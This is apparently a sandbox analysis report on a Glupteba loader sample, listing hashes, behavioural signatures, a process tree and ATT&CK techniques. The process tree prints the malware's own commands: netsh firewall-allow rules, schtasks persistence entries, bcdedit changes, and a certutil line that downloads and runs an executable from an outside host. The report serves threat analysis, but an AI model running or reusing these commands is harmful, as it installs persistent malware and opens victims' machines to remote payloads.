Overview

overview

10

Static

static

3

ab19f99a2b...18.exe

windows7-x64

10

ab19f99a2b...18.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    147s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14-06-2024 18:18

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General

  • Target

    ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe

  • Size

    3.9MB

  • MD5

    ab19f99a2b290c8b3aa15201d0afadae

  • SHA1

    959df1d74c69119de098d672e90c56e6e00c54f7

  • SHA256

    a4ddacb66a27d7e030d816677a31e4a04489e9d8fa1fd1fd8d5e6cceec8fa085

  • SHA512

    868e8bf823970152646db0ff8c4c0d86e5f0f846597865d6039f43f786fc28f86ff7d8ec9efc4faca43e7d0c6ae50788d76a02f0a8bbfbb3b9166498b626b860

  • SSDEEP

    98304:aIsGrDDhEGpnjjE6ns0Vzwq8HrmWSB4sAG:Ts6hlXnsEB6rtSB4

Score
10/10
gluptebadiscoverydropperevasionloaderpersistencerootkit

Malware Config

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

    loaderdropperglupteba
  • Glupteba payload 21 IoCs
  • Modifies Windows Firewall 2 TTPs 2 IoCs
    evasion
  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

    rootkitevasion
  • Modifies boot configuration data using bcdedit 1 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 2 IoCs
  • Program crash 2 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:968
    • C:\Users\Admin\AppData\Local\Temp\ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe
      "C:\Users\Admin\AppData\Local\Temp\ab19f99a2b290c8b3aa15201d0afadae_JaffaCakes118.exe"
      2⤵
      • Adds Run key to start application
      • Checks for VirtualBox DLLs, possible anti-VM trick
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1324
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4852
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          PID:2328
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\954d3a726b3c\954d3a726b3c.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4996
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\954d3a726b3c\954d3a726b3c.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          PID:3372
      • C:\Windows\rss\csrss.exe
        C:\Windows\rss\csrss.exe ""
        3⤵
        • Executes dropped EXE
        • Manipulates WinMonFS driver.
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1152
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
          4⤵
          • Creates scheduled task(s)
          PID:5104
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://babsitef.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
          4⤵
          • Creates scheduled task(s)
          PID:3856
        • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
          "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
          4⤵
          • Executes dropped EXE
          PID:3876
        • C:\Windows\system32\bcdedit.exe
          C:\Windows\Sysnative\bcdedit.exe /v
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:1652
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 1324 -s 604
        3⤵
        • Program crash
        PID:3456
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 968 -s 776
      2⤵
      • Program crash
      PID:2120
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 968 -ip 968
    1⤵
      PID:1088
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 1324 -ip 1324
      1⤵
        PID:4668

      Network

      MITRE ATT&CK Matrix ATT&CK v13

      Initial Access

      Execution

      Scheduled Task/Job

      1
      T1053

      Persistence

      Create or Modify System Process

      1
      T1543

      Windows Service

      1
      T1543.003

      Boot or Logon Autostart Execution

      1
      T1547

      Registry Run Keys / Startup Folder

      1
      T1547.001

      Scheduled Task/Job

      1
      T1053

      Privilege Escalation

      Create or Modify System Process

      1
      T1543

      Windows Service

      1
      T1543.003

      Boot or Logon Autostart Execution

      1
      T1547

      Registry Run Keys / Startup Folder

      1
      T1547.001

      Scheduled Task/Job

      1
      T1053

      Defense Evasion

      Impair Defenses

      1
      T1562

      Disable or Modify System Firewall

      1
      T1562.004

      Modify Registry

      1
      T1112

      Credential Access

      Discovery

      Query Registry

      2
      T1012

      System Information Discovery

      1
      T1082

      Lateral Movement

      Collection

      Exfiltration

      Command and Control

      Impact

      Resource Development

      Reconnaissance

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
        Filesize

        1.7MB

        MD5

        13aaafe14eb60d6a718230e82c671d57

        SHA1

        e039dd924d12f264521b8e689426fb7ca95a0a7b

        SHA256

        f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

        SHA512

        ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

        Download Submit
      • C:\Windows\rss\csrss.exe
        Filesize

        3.9MB

        MD5

        ab19f99a2b290c8b3aa15201d0afadae

        SHA1

        959df1d74c69119de098d672e90c56e6e00c54f7

        SHA256

        a4ddacb66a27d7e030d816677a31e4a04489e9d8fa1fd1fd8d5e6cceec8fa085

        SHA512

        868e8bf823970152646db0ff8c4c0d86e5f0f846597865d6039f43f786fc28f86ff7d8ec9efc4faca43e7d0c6ae50788d76a02f0a8bbfbb3b9166498b626b860

        Download Submit
      • memory/968-2-0x0000000002BA0000-0x000000000329A000-memory.dmp
        Filesize

        7.0MB

        Download
      • memory/968-3-0x0000000000400000-0x0000000000B14000-memory.dmp
        Filesize

        7.1MB

        Download
      • memory/968-5-0x0000000000400000-0x0000000000B14000-memory.dmp
        Filesize

        7.1MB

        Download
      • memory/968-6-0x0000000002BA0000-0x000000000329A000-memory.dmp
        Filesize

        7.0MB

        Download
      • memory/968-1-0x00000000027E0000-0x0000000002B91000-memory.dmp
        Filesize

        3.7MB

        Download
      • memory/1152-28-0x0000000000400000-0x0000000000B14000-memory.dmp
        Filesize

        7.1MB

        Download
      • memory/1152-26-0x0000000000400000-0x0000000000B14000-memory.dmp
        Filesize

        7.1MB

        Download
      • memory/1152-34-0x0000000000400000-0x0000000000B14000-memory.dmp
        Filesize

        7.1MB

        Download
      • memory/1152-18-0x0000000000400000-0x0000000000B14000-memory.dmp
        Filesize

        7.1MB

        Download
      • memory/1152-33-0x0000000000400000-0x0000000000B14000-memory.dmp
        Filesize

        7.1MB

        Download
      • memory/1152-22-0x0000000000400000-0x0000000000B14000-memory.dmp
        Filesize

        7.1MB

        Download
      • memory/1152-23-0x0000000000400000-0x0000000000B14000-memory.dmp
        Filesize

        7.1MB

        Download
      • memory/1152-24-0x0000000000400000-0x0000000000B14000-memory.dmp
        Filesize

        7.1MB

        Download
      • memory/1152-25-0x0000000000400000-0x0000000000B14000-memory.dmp
        Filesize

        7.1MB

        Download
      • memory/1152-32-0x0000000000400000-0x0000000000B14000-memory.dmp
        Filesize

        7.1MB

        Download
      • memory/1152-27-0x0000000000400000-0x0000000000B14000-memory.dmp
        Filesize

        7.1MB

        Download
      • memory/1152-31-0x0000000000400000-0x0000000000B14000-memory.dmp
        Filesize

        7.1MB

        Download
      • memory/1152-29-0x0000000000400000-0x0000000000B14000-memory.dmp
        Filesize

        7.1MB

        Download
      • memory/1152-30-0x0000000000400000-0x0000000000B14000-memory.dmp
        Filesize

        7.1MB

        Download
      • memory/1324-8-0x0000000000400000-0x0000000000B14000-memory.dmp
        Filesize

        7.1MB

        Download
      • memory/1324-10-0x0000000000400000-0x0000000000B14000-memory.dmp
        Filesize

        7.1MB

        Download
      • memory/1324-9-0x0000000000400000-0x0000000000B14000-memory.dmp
        Filesize

        7.1MB

        Download
      • memory/1324-16-0x0000000000400000-0x0000000000B14000-memory.dmp
        Filesize

        7.1MB

        Download